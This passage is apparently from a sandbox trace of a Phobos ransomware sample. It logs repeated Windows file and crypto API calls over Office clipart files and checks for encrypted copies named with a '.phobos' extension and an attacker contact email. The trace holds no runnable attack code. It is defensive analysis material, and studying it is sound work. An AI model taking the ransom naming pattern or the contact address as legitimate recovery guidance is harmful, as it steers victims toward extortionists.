hTemplateFile=0x0) returned 0x564 [0153.610] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31752) returned 1 [0153.610] CloseHandle (hObject=0x564) returned 1 [0153.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02466u.bmp")) returned 0x220 [0153.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02466u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.610] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.611] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=18684) returned 1 [0153.611] CloseHandle (hObject=0x564) returned 1 [0153.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp")) returned 0x220 [0153.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.611] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.613] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31968) returned 1 [0153.613] CloseHandle (hObject=0x564) returned 1 [0153.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp")) returned 0x220 [0153.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.614] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.615] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=33945) returned 1 [0153.615] CloseHandle (hObject=0x564) returned 1 [0153.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg")) returned 0x220 [0153.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.615] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.616] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=25499) returned 1 [0153.616] CloseHandle (hObject=0x564) returned 1 [0153.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736g.gif")) returned 0x220 [0153.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.616] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.617] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32400) returned 1 [0153.617] CloseHandle (hObject=0x564) returned 1 [0153.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp")) returned 0x220 [0153.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.617] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.618] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=33048) returned 1 [0153.618] CloseHandle (hObject=0x564) returned 1 [0153.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp")) returned 0x220 [0153.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.618] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.619] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24363) returned 1 [0153.619] CloseHandle (hObject=0x564) returned 1 [0153.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif")) returned 0x220 [0153.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.619] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.619] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32616) returned 1 [0153.619] CloseHandle (hObject=0x564) returned 1 [0153.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740u.bmp")) returned 0x220 [0153.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.620] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.620] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=20645) returned 1 [0153.620] CloseHandle (hObject=0x564) returned 1 [0153.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif")) returned 0x220 [0153.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.620] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.621] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31968) returned 1 [0153.621] CloseHandle (hObject=0x564) returned 1 [0153.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp")) returned 0x220 [0153.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.621] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.622] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=28038) returned 1 [0153.622] CloseHandle (hObject=0x564) returned 1 [0153.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif")) returned 0x220 [0153.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.623] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.624] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24187) returned 1 [0153.624] CloseHandle (hObject=0x564) returned 1 [0153.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746g.gif")) returned 0x220 [0153.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.625] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.626] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32132) returned 1 [0153.626] CloseHandle (hObject=0x564) returned 1 [0153.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp")) returned 0x220 [0153.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.626] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.627] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24720) returned 1 [0153.627] CloseHandle (hObject=0x564) returned 1 [0153.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif")) returned 0x220 [0153.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.628] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.870] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32400) returned 1 [0153.870] CloseHandle (hObject=0x570) returned 1 [0153.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp")) returned 0x220 [0153.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.871] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.872] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4118) returned 1 [0153.872] CloseHandle (hObject=0x570) returned 1 [0153.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp")) returned 0x220 [0153.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.872] CreateFileW (lpFileName="\\\\?\\C:\\Program 